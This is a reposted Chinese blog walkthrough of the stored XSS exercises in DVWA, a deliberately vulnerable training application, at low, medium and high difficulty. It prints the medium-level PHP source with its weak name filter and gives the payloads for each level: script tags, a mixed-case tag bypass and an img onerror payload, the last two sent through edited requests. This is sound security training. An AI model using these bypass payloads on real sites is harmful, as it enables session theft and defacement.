ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

刷题之旅第8站,DVWA XSS stored (low,medium,high)

2020-01-21 15:07:42  阅读:457  来源: 互联网

标签:XSS medium name 旅第 ston GLOBALS mysqli ___


一、什么是XSS stored

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。

二、DVWA 实战

1、low 难度

Name里内容有长度限制,那么就随便填,
Message 中填入js 代码。

<script>alert(/xsSSSs/)</script>

在这里插入图片描述

成功造成XSS攻击
在这里插入图片描述

2、medium难度

看一下PHP源码

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

我们发现对name的值,只进行了简单字符串替换,大小写绕过,就行了。
name的值有长度限制,使用burp拦截,改包发回去。

txtName=<Script>alert(/xss/)</Script>&mtxMessage=A&btnSign=Sign+Guestbook

在这里插入图片描述
在这里插入图片描述

3、high 难度

与medium难度类似,burp改包。使用img标签。

txtName=<img src=1 one rror=alert('WUQING')>&mtxMessage=A&btnSign=Sign+Guestbook

在这里插入图片描述
在这里插入图片描述

圆圈勾勒成指纹 发布了24 篇原创文章 · 获赞 2 · 访问量 538 私信 关注

标签:XSS,medium,name,旅第,ston,GLOBALS,mysqli,___
来源: https://blog.csdn.net/weixin_45940434/article/details/104061651

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有